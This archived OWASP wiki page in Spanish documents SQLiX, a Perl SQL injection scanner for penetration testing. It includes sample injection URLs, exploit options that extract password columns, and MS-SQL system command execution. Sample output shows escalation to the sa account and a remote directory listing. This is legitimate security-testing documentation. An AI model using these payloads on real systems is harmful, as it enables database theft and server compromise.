This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Category:OWASP SQLiX Project/es

From OWASP
Jump to: navigation, search

Descripción

SQLiX, programado en Perl, es un scanner de inyección SQL, capaz de rastrear, detectar inyecciones SQL, identificar el tipo de base de datos y obtener resultados UDF o de llamadas de función (inclusive ejecutar comandos del sistema para MS-SQL). Los conceptos en uso son diferentes a los usados en otros scanners de inyección SQL. SQLiX es capaz de encontrar inyección SQL normal y a ciegas y no necesita hacer ingeniería inversa a la petición SQL original.

Objetivos

SQLiX es un scanner de inyección SQL el cual trata de llenar el espacio entre lo que puede hacer el software comercial disponible en el mercado y lo que realmente puede hacerse para detectar e identificar inyección SQL.

Los métodos actuales de inyección usados por software de auditorias Web comercial están basados en generación de errores o inyecciones declaradas.

generación de errores:

El método de generación de errores es bastante simple y esta basado en metacaracteres como comillas dobles y simples. Inyectando estos caracteres en la petición SQL original, se genera un error de sintaxis que podría resultar en un mensaje de error SQL desplegado en la respuesta HTTP. El principal problema con esta técnica es el hecho de que solamente esta basada en comparación de patrones. No hay forma de manejar múltiples lenguajes o comportamientos complejos cuando el mensaje de error es filtrado por los scripts del lado del servidor.

inyección declarativa:

El segundo método usado es la inyección declarativa. Veamos un ejemplo:

La URL objetivo

(0) es http://target.Ejemplo.com/news.php?id=25.

El scanner tratara de comprar el contenido HTML de la petición original con el contenido HTML de

(1) http://target.Ejemplo.com/news.php?id=25%20or%201=1

(2) http://target.Ejemplo.com/news.php?id=25%20or%201=0

Si la petición (1) provee el mismo resultado que la petición (0) pero no el mismo que la petición (2), el scanner concluirá que la inyección SQL es posible. Este método funciona bien, pero es muy limitado por la sintaxis de la petición original. Si la petición original contiene paréntesis, procedimientos almacenados, o llamadas a funciones, este método raramente funcionara. Peor aun, si la variable es usada por múltiples peticiones SQL, todas con sintaxis diferentes, no hay forma automática para hacerlas funcionar simultáneamente.

Frecuentemente usted vera scanners mas avanzados como SQLBrute de www.justinclarke.com tratando de hacer ingeniería inversa a la sintaxis de la petición SQL original inyectando múltiples peticiones con diferentes conjuntos de paréntesis o comas. Este método consume un poco mas de tiempo pero proporciona mejores resultados (gratis), especialmente cuando mensajes de error no son desplegados.

Otro problema global relacionado con inyección SQL es el hecho de que los que realizan las pruebas de intrusión frecuentemente concluyen que cierta vulnerabilidad de inyección SQL no puede ser explotada. Al concluir esta declaración incorrecta, están invitando a sus clientes a no arreglar la vulnerabilidad.




¿ Como podría SQLiX ayudar a llenar el vacío?

  • SQLiX usa múltiples técnicas para determinar si el actual script del lado del servidor es vulnerable a inyección SQL
    • inyección de errores condicional
    • inyección a ciegas basada en enteros, cadenas o declaraciones
    • Mensajes de error descriptivos para MS-SQL
  • SQLiX usando UDF (funciones definidas por el usuario) o llamadas a funciones, de ahí no hay necesidad de aplicar ingeniería inversa a la sintaxis SQL original
  • SQLix es capaz de identificar la versión de la base de datos y recolectar información sensible de los siguientes servidores SQL: MS-Access, MS-SQL, MySQL, Oracle y PostgreSQL.
  • El modulo de comparación de SQLiX es capaz de tratar con complejos contenidos HTML aun cuando incluyen aditamentos dinámicos
  • SQLiX contiene un modulo de exploits para demostrar como un hacker podría explotar la inyección SQL encontrada para obtener información sensible

Descarga

OWASP SQLiX v1.0 esta disponible para descarga aquí o aquí.

Características

Por ser determinado

Uso de línea de comandos

Uso: SQLiX.pl [opciones]

-help                              Muestra la ayuda

Especificación de objetivo:

-url [URL]                         Escanea una URL dada.
                                     Ejemplo: -url="http://target.com/index.php?id=1"
--post_content [CONTENIDO]           Agregar contenido a la URL actual [URL]
                                     y cambiar el método HTTP a POST
-file [ARCHIVO]                  Escanea una lista de URI proporcionada vía un archivo de texto claro.
                                     Ejemplo: -file="./crawling"
-crawl [ROOT_URL]                  Escanea un sitio Web desde la URL raíz.
                                     Ejemplo: -crawl="http://target.com/"

Variantes de inyección:

-referer                           Usar HTTP referer como potencial punto de inyección.
-agent                             Usar HTTP User agent como potencial punto de inyección.
-cookie [COOKIE]                   Usar la cookie como potencial punto de inyección.
                                     El valor de la cookie debe ser especificado y el área de inyección
                                     Marcada como "--INJECT_HERE--".
                                     Ejemplo: -cookie="userID=--INJECT_HERE--"

métodos de inyección:

-all                               Usar todos los métodos.
-method_taggy                      Usar el modo descriptivo de mensajes de error para MS-SQL.
-method_error                      Usar el método de errores condicionales.
-method_blind                      Usar todos los métodos de inyección a ciegas.
-method_blind_integer              Usar métodos de inyección a ciegas con enteros.
-method_blind_string               Usar métodos de inyección a ciegas con cadenas.
-method_blind_statement            Usar el método declarativo de inyección a ciegas.
-method_blind_comment              Usar el método de inyección a ciegas de comentarios MySQL.

Módulos de ataque:

-exploit                           Explotar la inyección encontrada para extraer información.
                                     La versión de la base de datos será obtenida por omisión
-function [function]               Usado con exploit para obtener un valor de función dado.
                                     Ejemplo: -function="system_user"
                                     Ejemplo: -function="(select password from user_table)"
-union                             Analiza objetivo para posibles ataques de UNION [solo MS-SQL].

inyección de comandos de sistema para MS-SQL:

-cmd [COMANDO]                     Comando de sistema a ser ejecutado.
                                     Ejemplo: -cmd="dir c:\\"
-login [LOGIN]                     Usuario de MS-SQL para usar, si se conoce.
-password [PASSWORD]               Password de MS-SQL para usar, si se conoce.

Verbosidad:

-v=[n]                             Nivel de modo verboso
                                     v=0 => Sin salida, solamente se despliegan los resultados al final
                                     v=2 => Despliegue en tiempo real, proporciona información de resultados minima
                                     v=5 => Vista para depurar [todo el contenido de las URLs y encabezados es mostrado]

Ejemplo de salida

  • Ejecución de comandos de sistema para MS-SQL
$ perl SQLiX.pl -file crawling -all -v=2 -exploit -cmd="dir c:\\"
======================================================
                   -- SQLiX --
 © Copyright 2006 Cedric COCHIN, All Rights Reserved.
======================================================

Analysing URI obtained by flat file [crawling]
 http://www.target.Ejemplo.com/DocumentDescription-HR.asp?DocID=2
      [+] working on DocID
            [+] Method: MS-SQL error message
                  [FOUND] MS-SQL error message (implicite without quotes)
                  [FOUND] function [@@versión]:
                          Microsoft SQL Server  2000 - 8.00.534 (Intel X86) 
                                 Nov 19 2001 13:23:50 
                                 Copyright (c) 1988-2000 Microsoft Corporation
                                 Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
                  [INFO] System command injector:
                  [INFO] Current database: HR
                  [INFO] We are not sysadmin for now
                  [INFO] Checking OpenRowSet availibility - please wait...
                        [INFO] Current user login: [HR]
                        [FOUND] OPENROWSET available - (login [sa] | password [sa])
                        [INFO] Privilege escalation - from [HR] to [sa]
                                
                        ===========================================================================

                        Volume in drive C has no label.
                        Volume Serial Number is 00BC-6F73
                                
                        Directory of c:\
                                
                        11/21/2005  06:36p      <DIR>          403679d1f6ca54e5384256556434111d
                        07/14/2006  10:49a      <DIR>          Documents and Settings
                        07/22/2005  02:21p      <DIR>          honeypot
                        07/21/2005  04:38p      <DIR>          iDefense
                        03/08/2002  08:23a      <DIR>          Inetpub
                        07/14/2006  03:21p      <DIR>          Program Files
                        08/07/2006  04:11p                 622 tmp.txt
                        11/28/2005  06:06p      <DIR>          WINNT
                                       1 File(s)            622 bytes
                                       7 Dir(s)     183,328,768 bytes free
                                
                                 
                        ===========================================================================

                  [FOUND] MS-SQL error message
 
RESULTS:
The variable [DocID] from [ http://www.target.Ejemplo.com/DocumentDescription-HR.asp?DocID=2 ] ...
   ... is vulnerable to SQL Injection [TAG implicite without quotes - MSSQL].


  • inyección de funciones para MySQL, PostgreSQL
$ perl SQLiX.pl -file crawling -all -v=2 -exploit
======================================================
                   -- SQLiX --
 © Copyright 2006 Cedric COCHIN, All Rights Reserved.
======================================================

Analysing URI obtained by flat file [crawling]
 http://www.target.Ejemplo.com/MySQL-DocumentDescriptionMagicQuote.asp?DocID=2
      [+] working on DocID
            [+] Method: MS-SQL error message
            [+] Method: SQL error message
                  [FOUND] Match found INPUT:[user] - "Microsoft OLE DB Provider for ODBC Drivers"
                  [INFO] Error without quote
                  [INFO] Database identified: MySQL Server
                  [INFO] Current function: versión()
                  [INFO] length: 19
                      4.1.20-community-nt
                  [FOUND] SQL error message
 http://www.target.Ejemplo.com/PGSQL-DocumentDescription.asp?DocID=2
      [+] working on DocID
            [+] Method: MS-SQL error message
            [+] Method: SQL error message
                  [FOUND] Match found INPUT:['] - "Microsoft OLE DB Provider for ODBC Drivers"
                  [INFO] Error without quote
                  [INFO] Database identified: PostgreSQL Server
                  [INFO] Current function: versión()
                  [INFO] length: 88
                      PostgreSQL 8.0.7 on i686-pc-mingw32, compiled by GCC gcc.exe (GCC) 3.4.2
                  [FOUND] SQL error message

RESULTS:
The variable [DocID] from 
  [ http://www.target.Ejemplo.com/MySQL-DocumentDescriptionMagicQuote.asp?DocID=2 ] ...
   ... is vulnerable to SQL Injection [Error message (user) - MySQL].
The variable [DocID] from
  [ http://www.target.Ejemplo.com/PGSQL-DocumentDescription.asp?DocID=2 ] ...
   ... is vulnerable to SQL Injection [Error message (') - PostgreSQL].

Desarrollo futuro

Actualmente se trabajo en un modulo capaz de mostrar el esquema de la base de datos y los datos de la base de datos vulnerable.

PD: Si es un verdadero desarrollador Perl (no como yo ;) ), siéntase libre de proporcionarnos mejoras de código o consejos.

Noticias

Proyecto OWASP SQLiX creado! - 09:45, 28 de agosto de 2006 (EDT)

Mientras el proyecto SQLiX ha estado bajo desarrollo por algún tiempo, acaba de ser donado recientemente a OWASP.

La comunidad de OWASP quisiera agradecer a Cedric Cochin por la generosa donación.

Retroalimentación y participación:

Esperamos que encuentre útil el proyecto OWASP SQLiX. Por favor contribuya con el proyecto ofreciéndose para alguna de las tareas, enviando sus comentarios, preguntas y sugerencias a [email protected]. Para unirse a la lista de correo de OWASP SQLiX o ver los archivos, por favor visite la página de suscripción.

Colaborador del proyecto

El proyecto es dirigido por Cedric Cochin (cedric.cochin at gmail dot com)

Página principal

Patrocinadores del proyecto

Si quisiera ayudar al desarrollo del proyecto SQLiX, siéntase libre de contactar al líder del proyecto.

Plan de trabajo

Por favor refiérase a OWASP SQLiX Project Roadmap para las tareas actuales (en ingles).

This category currently contains no pages or media.